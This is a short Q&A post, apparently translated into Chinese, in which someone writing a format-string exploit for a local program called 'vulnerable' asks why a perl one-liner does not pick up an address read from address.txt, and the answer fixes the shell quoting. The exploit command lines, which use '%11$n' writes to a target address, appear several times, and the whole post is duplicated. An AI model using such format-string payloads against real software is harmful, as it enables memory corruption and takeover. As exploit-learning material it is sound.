Bash - perl 打印语句中的文件内容
Bash - File content in perl print statement
我正在为易受攻击的程序编写格式字符串利用脚本。
我可以通过使用以下输入执行程序来利用此漏洞:
./vulnerable `perl -e 'print "\x11\x11\x11\x40\x99\x04\x08"'`'AAAAx%11$n'
这里\x40\x99\x04\x08
是vulnerable
中一个变量的地址。
我想编写一个脚本来生成没有硬编码地址的输入。
在我的脚本中,我检索变量的地址并将其存储在 address.txt
中。
然后我尝试像以前一样从我的脚本中调用 vulnerable
,但内容为 address.txt
:
./vulnerable $(perl -e 'print "\x11\x11\x11$(<address.txt)"')'AAAAx%11$n’
address.txt
的内容是 \x40\x99\x04\x08
所以我将 address.txt
的内容提供给 perl 打印语句的方式有问题。
我也试过在 perl
:
周围省略 $()
./vulnerable `perl -e 'print "\x11\x11\x11$(<address.txt)"'`'AAAAx%11$n'
但这会呈现相同的结果。
我做错了什么?
单引号不展开 $(...)
。
./vulnerable $(perl -e 'print "\x11\x11\x11'$(<address.txt)'"')'AAAAx%11$n'
# <------------->
# <-------------------> <->
# <------------------------------------------------><---------->
我正在为易受攻击的程序编写格式字符串利用脚本。
我可以通过使用以下输入执行程序来利用此漏洞:
./vulnerable `perl -e 'print "\x11\x11\x11\x40\x99\x04\x08"'`'AAAAx%11$n'
这里\x40\x99\x04\x08
是vulnerable
中一个变量的地址。
我想编写一个脚本来生成没有硬编码地址的输入。
在我的脚本中,我检索变量的地址并将其存储在 address.txt
中。
然后我尝试像以前一样从我的脚本中调用 vulnerable
,但内容为 address.txt
:
./vulnerable $(perl -e 'print "\x11\x11\x11$(<address.txt)"')'AAAAx%11$n’
address.txt
的内容是 \x40\x99\x04\x08
所以我将 address.txt
的内容提供给 perl 打印语句的方式有问题。
我也试过在 perl
:
$()
./vulnerable `perl -e 'print "\x11\x11\x11$(<address.txt)"'`'AAAAx%11$n'
但这会呈现相同的结果。
我做错了什么?
单引号不展开 $(...)
。
./vulnerable $(perl -e 'print "\x11\x11\x11'$(<address.txt)'"')'AAAAx%11$n'
# <------------->
# <-------------------> <->
# <------------------------------------------------><---------->